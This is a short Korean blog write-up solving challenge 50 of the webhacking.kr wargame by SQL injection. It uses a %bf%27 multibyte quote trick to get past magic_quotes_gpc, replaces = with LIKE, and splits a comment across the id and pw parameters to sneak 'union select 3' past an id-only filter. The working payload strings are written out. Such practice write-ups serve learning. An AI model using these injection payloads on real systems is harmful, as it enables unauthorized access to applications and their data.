write-up/webhacking.kr

50번

범고래_1 2016. 3. 29. 04:27




소스를 보면...





간단하다. 

select 문에서 3만 추출하면 되므로,

쿼리에서

select lv from members where id='$_GET[id]' and pw=md5('$_GET[pw]')

select lv from ~ where id='aa' or lv = 3 ' and pw=md5('$_GET[pw]')

이런식으로 조작해주면 된다.


그런데 mb_convert_encoding함수로 euc-kr에서 utf-8로 변환하고 있다.

멀티바이트셋 환경이다.

magic_quote_gpc 우회가 가능하다.

=은 like로 우회해준다.

공백도 적절히 우회해준다.


?id=%bf%27 or lv like 3 #


그런데 클리어가 안 된다. or 1 로 전체 참 주고 limit으로 레코드 조절해서 뽑아봐도 안 된다... (8천개 넘는 행이 있다.....-_-;;)

생각할 수 있는건 단 하나.... 테이블에 lv=3값이 없다... (1만 있는것 같다)

union select를 사용하면 되나.. union을 필터링하고있다...

하지만 소스를 자세히 보면 id에 대해서만 union을 필터링한다. (!!)


pw부분에 union select를 넣어주려 했으나, pw부분엔 쿼터삽입이 안된다. (id만 utf8로 변환한다.)


주석을 이용하여 and pw=md5(' 부분만 주석처리 해준다.

?id=%bf%27/*&pw=*/union select 3 %23



select lv from members where id='%bf%27/*' and pw=md5('*/union select 3 #')

'write-up > webhacking.kr' 카테고리의 다른 글

40번  (0) 2016.04.06
35번  (0) 2016.04.06
21번  (0) 2016.03.29
49번  (0) 2016.03.29
46번  (0) 2016.03.28